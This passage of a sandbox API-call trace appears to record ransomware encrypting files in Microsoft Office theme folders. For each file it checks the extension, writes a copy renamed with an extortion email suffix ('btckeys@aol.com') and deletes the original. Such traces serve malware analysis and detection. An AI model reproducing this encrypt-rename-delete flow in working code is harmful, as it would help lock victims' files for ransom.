-1 [0078.942] lstrlenW (lpString=".docx") returned 5 [0078.942] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0078.942] lstrlenW (lpString=".pdf") returned 4 [0078.942] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0078.942] lstrlenW (lpString=".xls") returned 4 [0078.942] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0078.942] lstrlenW (lpString=".xlsx") returned 5 [0078.942] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0078.942] lstrlenW (lpString=".ppt") returned 4 [0078.942] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0078.942] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0078.942] lstrlenW (lpString=".zip") returned 4 [0078.942] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0078.942] lstrlenW (lpString=".rar") returned 4 [0078.942] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0078.942] lstrlenW (lpString=".bz2") returned 4 [0078.942] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0078.943] lstrlenW (lpString=".7z") returned 3 [0078.943] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0078.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0078.943] lstrlenW (lpString=".dbf") returned 4 [0078.943] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0078.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0078.943] lstrlenW (lpString=".1cd") returned 4 [0078.943] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0078.943] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ARCTIC\\PREVIEW.GIF") returned 74 [0078.943] lstrlenW (lpString=".jpg") returned 4 [0078.943] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0078.943] lstrcmpiW (lpString1=".PNG", lpString2=".2020") returned 1 [0078.943] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0078.943] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0079.370] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=29925) returned 1 [0079.370] CloseHandle (hObject=0x204) returned 1 [0079.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png")) returned 0x20 [0079.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0079.370] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0079.371] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0079.371] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0079.371] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0079.371] GetLastError () returned 0x0 [0079.371] ReadFile (in: hFile=0x204, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x74e5, lpOverlapped=0x0) returned 1 [0079.374] WriteFile (in: hFile=0x168, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x74f0, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0x74f0, lpOverlapped=0x0) returned 1 [0079.376] ReadFile (in: hFile=0x204, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x0, lpOverlapped=0x0) returned 1 [0079.376] WriteFile (in: hFile=0x168, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0xec, lpOverlapped=0x0) returned 1 [0079.376] SetEndOfFile (hFile=0x168) returned 1 [0079.377] CloseHandle (hObject=0x168) returned 1 [0079.377] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0079.377] SetEndOfFile (hFile=0x204) returned 1 [0079.378] CloseHandle (hObject=0x204) returned 1 [0079.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0079.379] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\capsules\\thmbnail.png")) returned 1 [0079.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0079.379] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0079.379] lstrlenW (lpString=".doc") returned 4 [0079.379] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0079.379] lstrlenW (lpString=".docx") returned 5 [0079.379] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0079.379] lstrlenW (lpString=".pdf") returned 4 [0079.379] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0079.379] lstrlenW (lpString=".xls") returned 4 [0079.380] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0079.380] lstrlenW (lpString=".xlsx") returned 5 [0079.380] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0079.380] lstrlenW (lpString=".ppt") returned 4 [0079.380] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0079.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0079.380] lstrlenW (lpString=".zip") returned 4 [0079.380] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0079.380] lstrlenW (lpString=".rar") returned 4 [0079.380] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0079.380] lstrlenW (lpString=".bz2") returned 4 [0079.380] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0079.380] lstrlenW (lpString=".7z") returned 3 [0079.380] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0079.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0079.380] lstrlenW (lpString=".dbf") returned 4 [0079.380] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0079.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0079.380] lstrlenW (lpString=".1cd") returned 4 [0079.380] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0079.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0079.380] lstrlenW (lpString=".jpg") returned 4 [0079.380] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0079.380] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0079.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0079.381] lstrlenW (lpString=".doc") returned 4 [0079.381] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0079.381] lstrlenW (lpString=".docx") returned 5 [0079.381] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0079.381] lstrlenW (lpString=".pdf") returned 4 [0079.381] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0079.381] lstrlenW (lpString=".xls") returned 4 [0079.381] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0079.381] lstrlenW (lpString=".xlsx") returned 5 [0079.381] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0079.381] lstrlenW (lpString=".ppt") returned 4 [0079.381] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0079.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0079.381] lstrlenW (lpString=".zip") returned 4 [0079.381] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0079.381] lstrlenW (lpString=".rar") returned 4 [0079.381] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0079.381] lstrlenW (lpString=".bz2") returned 4 [0079.381] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0079.381] lstrlenW (lpString=".7z") returned 3 [0079.381] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0079.381] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0079.381] lstrlenW (lpString=".dbf") returned 4 [0079.381] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0079.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0079.382] lstrlenW (lpString=".1cd") returned 4 [0079.382] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0079.382] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\THMBNAIL.PNG") returned 77 [0079.382] lstrlenW (lpString=".jpg") returned 4 [0079.382] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0079.382] lstrcmpiW (lpString1=".GIF", lpString2=".2020") returned 1 [0079.382] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0079.382] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0079.383] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=1287) returned 1 [0079.383] CloseHandle (hObject=0x204) returned 1 [0079.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif")) returned 0x20 [0079.383] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0079.383] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0079.383] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0079.383] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0079.383] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0079.397] GetLastError () returned 0x0 [0079.397] ReadFile (in: hFile=0x204, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x507, lpOverlapped=0x0) returned 1 [0079.400] WriteFile (in: hFile=0x218, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x510, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0x510, lpOverlapped=0x0) returned 1 [0079.402] ReadFile (in: hFile=0x204, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x0, lpOverlapped=0x0) returned 1 [0079.402] WriteFile (in: hFile=0x218, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0xea, lpOverlapped=0x0) returned 1 [0079.402] SetEndOfFile (hFile=0x218) returned 1 [0079.402] CloseHandle (hObject=0x218) returned 1 [0079.403] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0079.403] SetEndOfFile (hFile=0x204) returned 1 [0079.404] CloseHandle (hObject=0x204) returned 1 [0079.404] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0079.404] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\concrete\\preview.gif")) returned 1 [0079.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0079.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0079.405] lstrlenW (lpString=".doc") returned 4 [0079.405] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0079.405] lstrlenW (lpString=".docx") returned 5 [0079.405] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0079.405] lstrlenW (lpString=".pdf") returned 4 [0079.405] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0079.405] lstrlenW (lpString=".xls") returned 4 [0079.405] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0079.405] lstrlenW (lpString=".xlsx") returned 5 [0079.405] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0079.405] lstrlenW (lpString=".ppt") returned 4 [0079.405] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0079.405] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0079.405] lstrlenW (lpString=".zip") returned 4 [0079.405] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0079.405] lstrlenW (lpString=".rar") returned 4 [0079.405] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0079.405] lstrlenW (lpString=".bz2") returned 4 [0079.405] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0079.406] lstrlenW (lpString=".7z") returned 3 [0079.406] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0079.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0079.406] lstrlenW (lpString=".dbf") returned 4 [0079.406] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0079.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0079.406] lstrlenW (lpString=".1cd") returned 4 [0079.406] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0079.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0079.406] lstrlenW (lpString=".jpg") returned 4 [0079.406] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0079.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0079.406] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0079.406] lstrlenW (lpString=".doc") returned 4 [0079.406] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0079.406] lstrlenW (lpString=".docx") returned 5 [0079.406] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0079.406] lstrlenW (lpString=".pdf") returned 4 [0079.406] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0079.406] lstrlenW (lpString=".xls") returned 4 [0079.406] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0079.406] lstrlenW (lpString=".xlsx") returned 5 [0079.406] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0079.406] lstrlenW (lpString=".ppt") returned 4 [0079.406] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0079.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0079.407] lstrlenW (lpString=".zip") returned 4 [0079.407] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0079.407] lstrlenW (lpString=".rar") returned 4 [0079.407] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0079.407] lstrlenW (lpString=".bz2") returned 4 [0079.407] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0079.407] lstrlenW (lpString=".7z") returned 3 [0079.407] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0079.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0079.407] lstrlenW (lpString=".dbf") returned 4 [0079.407] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0079.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0079.407] lstrlenW (lpString=".1cd") returned 4 [0079.407] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0079.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\PREVIEW.GIF") returned 76 [0079.407] lstrlenW (lpString=".jpg") returned 4 [0079.407] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0079.407] lstrcmpiW (lpString1=".GIF", lpString2=".2020") returned 1 [0079.407] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0079.408] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0079.408] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2caff1c | out: lpFileSize=0x2caff1c*=3957) returned 1 [0079.408] CloseHandle (hObject=0x204) returned 1 [0079.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif")) returned 0x20 [0079.408] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0079.408] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0079.409] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0079.409] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0079.409] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0079.411] GetLastError () returned 0x0 [0079.411] ReadFile (in: hFile=0x204, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0xf75, lpOverlapped=0x0) returned 1 [0079.419] WriteFile (in: hFile=0x218, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xf80, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0xf80, lpOverlapped=0x0) returned 1 [0079.431] ReadFile (in: hFile=0x204, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2cafed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2cafed4*=0x0, lpOverlapped=0x0) returned 1 [0079.437] WriteFile (in: hFile=0x218, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2cafc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2cafc9c*=0xea, lpOverlapped=0x0) returned 1 [0079.438] SetEndOfFile (hFile=0x218) returned 1 [0079.438] CloseHandle (hObject=0x218) returned 1 [0079.438] SetFilePointerEx (in: hFile=0x204, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2cafec8 | out: lpNewFilePointer=0x0) returned 1 [0079.438] SetEndOfFile (hFile=0x204) returned 1 [0079.438] CloseHandle (hObject=0x204) returned 1 [0079.439] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0079.439] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\deepblue\\preview.gif")) returned 1 [0079.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0079.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0079.439] lstrlenW (lpString=".doc") returned 4 [0079.439] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0079.439] lstrlenW (lpString=".docx") returned 5 [0079.439] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0079.439] lstrlenW (lpString=".pdf") returned 4 [0079.439] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0079.440] lstrlenW (lpString=".xls") returned 4 [0079.440] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0079.440] lstrlenW (lpString=".xlsx") returned 5 [0079.440] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0079.440] lstrlenW (lpString=".ppt") returned 4 [0079.440] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0079.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0079.440] lstrlenW (lpString=".zip") returned 4 [0079.440] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0079.440] lstrlenW (lpString=".rar") returned 4 [0079.440] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0079.440] lstrlenW (lpString=".bz2") returned 4 [0079.440] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0079.440] lstrlenW (lpString=".7z") returned 3 [0079.440] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0079.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0079.440] lstrlenW (lpString=".dbf") returned 4 [0079.440] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0079.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0079.440] lstrlenW (lpString=".1cd") returned 4 [0079.440] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0079.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0079.440] lstrlenW (lpString=".jpg") returned 4 [0079.440] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0079.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0079.441] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\PREVIEW.GIF") returned 76 [0079.441] lstrlenW (lpString=".doc") returned 4 [0079.441] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0079.441] lstrlenW 